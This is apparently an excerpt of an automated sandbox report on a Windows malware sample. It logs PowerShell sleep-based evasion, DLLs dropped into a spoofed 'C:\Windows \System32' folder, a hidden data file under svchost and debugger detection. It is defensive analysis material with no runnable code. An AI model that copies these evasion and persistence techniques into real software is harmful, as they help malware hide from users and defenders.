Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5358	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4446	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7399	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2183	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7662	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1872	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7303
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2206
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7723
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1980
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7262
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2352
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7510
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2051

Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\vcruntime140d.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\ucrtbased.dll	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	Dropped PE file which has not been started: C:\Windows\System32\winsvcf\x549596.dat	Jump to dropped file

Source: C:\Windows\System32\svchost.exe	API coverage: 1.4 %
Source: C:\Windows\System32\console_zero.exe	API coverage: 1.5 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6700	Thread sleep count: 5358 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6700	Thread sleep count: 4446 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5852	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1448	Thread sleep count: 7399 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1448	Thread sleep count: 2183 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7108	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 5852	Thread sleep count: 83 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4528	Thread sleep count: 7662 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4528	Thread sleep count: 1872 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3364	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5988	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5908	Thread sleep count: 7303 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5908	Thread sleep count: 2206 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5288	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\console_zero.exe TID: 5372	Thread sleep time: -46000s >= -30000s
Source: C:\Windows\System32\timeout.exe TID: 7056	Thread sleep count: 116 > 30
Source: C:\Windows\System32\timeout.exe TID: 632	Thread sleep count: 132 > 30
Source: C:\Windows\System32\console_zero.exe TID: 5580	Thread sleep time: -46000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5556	Thread sleep count: 7723 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1492	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3536	Thread sleep count: 1980 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6856	Thread sleep count: 7262 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6856	Thread sleep count: 2352 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6744	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3580	Thread sleep count: 7510 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3776	Thread sleep count: 2051 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3392	Thread sleep time: -2767011611056431s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe

Code function: 26_2_64946F50 GetSystemTimeAdjustment followed by cmp: cmp ecx, 03h and CTI: jle 64946F63h

26_2_64946F50

Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB039A40 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	26_2_00007FFBAB039A40
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB0398FC FindClose,FindFirstFileExW,GetLastError,	26_2_00007FFBAB0398FC
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2AC5F4 FindClose,FindFirstFileExW,GetLastError,	32_2_00007FF70F2AC5F4
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2AC668 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	32_2_00007FF70F2AC668

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\console_zero.exe	Thread delayed: delay time: 46000
Source: C:\Windows\System32\console_zero.exe	Thread delayed: delay time: 46000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 0000001A.00000002.2847004878.0000013B8442B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\58VSNPxrI4.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Windows\System32\svchost.exe

